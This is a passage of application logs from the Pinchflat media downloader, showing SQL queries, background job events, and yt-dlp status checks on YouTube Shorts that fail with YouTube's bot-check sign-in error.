scripts lifecyle file either not present or is empty. Skipping. 20:31:48.439 [debug] QUERY OK source="media_items" db=1.7ms idle=9.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [396, 397] 20:31:48.440 [debug] QUERY OK source="sources" db=2.3ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:48.441 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.5ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:48.443 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [397] 20:31:48.446 [debug] QUERY OK source="media_metadata" db=0.3ms idle=9.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [397] 20:31:48.447 [debug] QUERY OK source="media_profiles" db=0.6ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:48.447 [debug] QUERY OK source="settings" db=0.7ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:48.448 [debug] QUERY OK source="settings" db=0.7ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:48.450 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:48.451 [debug] QUERY OK source="settings" db=0.2ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:48.452 [debug] QUERY OK source="settings" db=0.6ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:48.453 [debug] QUERY OK source="settings" db=0.5ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:48.453 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/1jAVC6zS_q4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d3/bb/d3bbacebb4fac502468e6735d7ecc1a45e825404886890e8df7e94c6e5e78286.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:49.810 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/gZgfBgtk5mI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c4/f0/c4f0c1aa0b4bc87d5141da5d6ca0aedce538b9fdd10a554909b2cb03ad2001c0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] gZgfBgtk5mI: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:49.810 [error] yt-dlp download error for media item #396: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] gZgfBgtk5mI: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:49.810 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] gZgfBgtk5mI: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:49.811 [info] {"args":{"id":396},"id":237,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1912930,"event":"job:stop","attempt":1,"queue_time":36896153,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:49.812 [debug] QUERY OK source="tasks" db=0.4ms idle=217.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:49.813 [debug] QUERY OK source="media_items" db=0.3ms queue=0.2ms idle=218.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [397] 20:31:49.818 [info] {"args":{"id":398},"id":239,"meta":{},"system_time":1774150309818746100,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:49.819 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=224.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [398] 20:31:49.819 [debug] QUERY OK source="tasks" db=0.4ms idle=7.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:49.819 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:49.820 [debug] QUERY OK source="media_items" db=0.6ms idle=7.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [397, 398] 20:31:49.821 [debug] QUERY OK source="sources" db=1.6ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:49.822 [debug] QUERY OK source="media_profiles" db=0.4ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:49.822 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [398] 20:31:49.823 [debug] QUERY OK source="media_metadata" db=0.0ms idle=3.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [398] 20:31:49.823 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:49.824 [debug] QUERY OK source="settings" db=0.3ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:49.824 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:49.825 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:49.825 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:49.826 [debug] QUERY OK source="settings" db=0.4ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:49.827 [debug] QUERY OK source="settings" db=0.4ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:49.827 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/Jc5nXqHYIOE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ad/83/ad8355521191453a7d669b158237b16ae8976b7dace9cf170eee91f0ddd0aee0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:50.332 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/1jAVC6zS_q4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d3/bb/d3bbacebb4fac502468e6735d7ecc1a45e825404886890e8df7e94c6e5e78286.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] 1jAVC6zS_q4: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:50.332 [error] yt-dlp download error for media item #397: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 1jAVC6zS_q4: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:50.332 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 1jAVC6zS_q4: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:50.334 [info] {"args":{"id":397},"id":238,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1897823,"event":"job:stop","attempt":1,"queue_time":37433121,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:50.336 [debug] QUERY OK source="tasks" db=1.4ms idle=508.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:50.337 [debug] QUERY OK source="media_items" db=0.6ms idle=509.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [398] 20:31:50.341 [info] {"args":{"id":399},"id":240,"meta":{},"system_time":1774150310341127401,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:50.342 [debug] QUERY OK source="tasks" db=0.5ms queue=0.2ms idle=7.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:50.342 [debug] QUERY OK source="media_items" db=0.8ms queue=0.3ms idle=450.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [399] 20:31:50.343 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:50.344 [debug] QUERY OK source="media_items" db=1.7ms idle=6.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [398, 399] 20:31:50.345 [debug] QUERY OK source="sources" db=1.7ms queue=0.3ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:50.346 [debug] QUERY OK source="media_profiles" db=0.8ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:50.347 [debug] QUERY OK source="media_items" db=0.7ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [399] 20:31:50.350 [debug] QUERY OK source="media_metadata" db=0.2ms idle=7.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [399] 20:31:50.350 [debug] QUERY OK source="media_profiles" db=0.6ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:50.351 [debug] QUERY OK source="settings" db=0.7ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:50.352 [debug] QUERY OK source="settings" db=0.5ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:50.353 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:50.355 [debug] QUERY OK source="settings" db=0.5ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:50.356 [debug] QUERY OK source="settings" db=1.1ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:50.357 [debug] QUERY OK source="settings" db=0.6ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 